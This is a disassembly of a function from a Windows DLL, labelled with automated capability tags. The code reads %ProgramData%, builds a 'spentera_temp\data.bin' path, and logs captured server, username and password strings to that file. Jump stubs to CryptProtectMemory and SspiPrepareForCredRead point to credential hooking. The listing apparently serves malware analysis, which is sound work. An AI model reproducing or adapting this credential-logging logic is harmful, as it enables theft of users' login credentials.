Function at 0x1800012d0
Capabilities:
Query environment variable
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xe48]
sub rsp, 0xf20
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x180029028]
xor rax, rsp
mov qword [rbp + 0xe00], rax
mov r8d, 0x104
lea rdx, [rbp + 0x3f0]
lea rcx, str.ProgramData
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0x3f0]
lea r8, str._spentera_temp
mov edx, 0x104
lea rcx, [rbp - 0x30]
call fcn.180001040
xor r15d, r15d
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 7
mov word [rsp + 0x68], r15w
lea rax, [rbp - 0x30]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x180001370
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x68]
call fcn.1800019f0
nop
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x78]
lea rdi, [rdx + rax*2]
lea rbx, [rsp + 0x68]
cmovae rbx, qword [rsp + 0x68]
mov qword [rsp + 0x40], r15
mov rcx, r15
mov qword [rsp + 0x50], rcx
mov edx, 0xf
mov qword [rsp + 0x58], rdx
mov rax, rdi
sub rax, rbx
sar rax, 1
cmp rax, 0x10
jb 0x1800013ed
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.180001b70
mov rcx, r15
mov qword [rsp + 0x50], rcx
mov rdx, qword [rsp + 0x58]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
cmp rbx, rdi
je 0x18000144b
nop dword [rax]
movzx r9d, byte [rbx]
cmp rcx, rdx
jae 0x18000142c
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180001436
lea rcx, [rsp + 0x40]
call fcn.180001d30
add rbx, 2
mov rdx, qword [rsp + 0x58]
cmp rbx, rdi
je 0x18000144b
mov rcx, qword [rsp + 0x50]
jmp 0x180001400
lea rcx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rbp - 0x68]
call fcn.18000d630
test eax, eax
jne 0x1800016a2
lea r9, [rbp - 0x30]
lea r8, str._sdata.bin
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call fcn.180001040
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x180001613
call fcn.18000662c
mov rbx, rax
call fcn.180006610
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rdx, [rax + rcx]
movabs rax, 0x7ffffff903dc53ff
cmp rdx, rax
jge 0x180001507
movabs rdi, 0x6fc23ac00
add rdi, rdx
jmp 0x180001511
movabs rdi, 0x7fffffffffffffff
call fcn.18000662c
mov rbx, rax
call fcn.180006610
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x1800015dd
movabs r13, 0x311cdad160000
movabs r12, 0x112e0be826d694b3
movsd xmm6, qword [0x180026030]
nop
mov rbx, rdi
sub rbx, rax
call fcn.18000672c
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm6
cmova rbx, r13
imul rcx, rax, 0x64
add rbx, rcx
mov rax, r12
imul rbx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp - 0x78], rdx
imul rax, rdx, 0x3b9aca00
sub rbx, rax
mov dword [rbp - 0x70], ebx
lea rcx, [rbp - 0x78]
call fcn.1800067b4
call fcn.18000662c
mov rbx, rax
call fcn.180006610
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jl 0x180001560
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1800016a2
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x600]
call fcn.180008d80
mov dword [rsp + 0x60], r15d
mov rax, qword [0x18002b610]
mov qword [rsp + 0x28], rax
mov rax, qword [0x18002b608]
mov qword [rsp + 0x20], rax
mov r9, qword [0x18002b600]
lea r8, str.Server_sUsername_sPassword_s_n_n
mov edx, 0x400
lea rcx, [rbp + 0x600]
call fcn.180001040
lea rax, [rbp + 0x600]
nop word [rax + rax]
lea rsi, [rsi + 1]
cmp word [rax + rsi*2], 0
jne 0x180001670
lea r8d, [rsi + rsi]
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x60]
lea rdx, [rbp + 0x600]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800016df
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800016da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000176a
call fcn.180006dd0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x18000172f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb case.default.0x180001777
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001764
call fcn.180006dd0
mov rcx, qword [rbp + 0xe00]
xor rcx, rsp
call fcn.180006db0
lea r11, [rsp + 0xf20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18000d964
nop
call fcn.18000d964
nop
mov qword [0x18002b600], rdx
jmp qword [case.0x180001777.8]
jmp qword [sym.imp.CRYPT32.dll_CryptProtectMemory]
jmp qword [sym.imp.Secur32.dll_SspiPrepareForCredRead]
fsubr dword [rbp]
add byte [rcx], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al